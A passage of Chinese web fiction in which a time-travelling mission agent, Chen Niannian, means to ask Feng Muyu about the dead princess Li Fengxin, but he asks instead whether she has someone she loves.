她的心中疑惑万千,有许多问题想要问风慕予,可真到了他的面前,却又一个都不打算问了,她知道即使问了,也不会得到回答。
她想知道的,都是藏在他心底的秘密,他并不愿与人分享。
但有一个问题,萦绕在她心头多时,她想在今日求得答案。
黎国长公主,黎凤心,病逝于八年前的一个夏日,作为救风慕予于水火的恩人,作为曾与他朝夕相处的“亲人”,他理应怀念她,每年祭拜她,甚至时不时到她曾经的宅邸看一看,可事实上——
她竟从没有在他的口中听见过黎凤心这个名字。
不单如此,自从她重新来到这个任务小世界,除了在那本可疑的小黄书上,她竟没有在任何人、任何事、任何物上,捕捉到过任何与这个名字有关的信息,仿佛这个名字,根本就不曾存在过。
她想问的是——
“黎凤心死后,究竟发生了什么?”
平视前方,保持平静,她轻声开了个头:“风慕予。”
不料,风慕予也正巧叫了她的名字:“陈念念。”
陈念念的思绪立时被打断,愣了愣,疑惑道:“嗯?”
风慕予仍闭着眼,只问:“你有心上人吗?”
陈念念不由更愣,下意识如实回答:“没、没有。”
在她的记忆中,她确实没有爱上过任何人。
等等,哪里不太对?
以风慕予的画风,怎么会突然挑起这种午夜电台的情感话题?
风慕予追问:“为什么没有?”
陈念念惊讶又不解,随口道:“没有就没有,哪有为什么?”
但她心里,其实是知道为什么的。
她是时空管理局的执行员,拥有无限的生命,常年穿梭于各个小世界,身边走过形形色色的人,她不可能为了短暂的欢愉,去寻求一份短暂的爱情,然后将自己无限的生命投入到无尽的痛苦中去。
“原来,你接近我,并不是因为喜欢我。”
风慕予忽睁开眼睛,转头望向陈念念,“我哪里不够好吗?”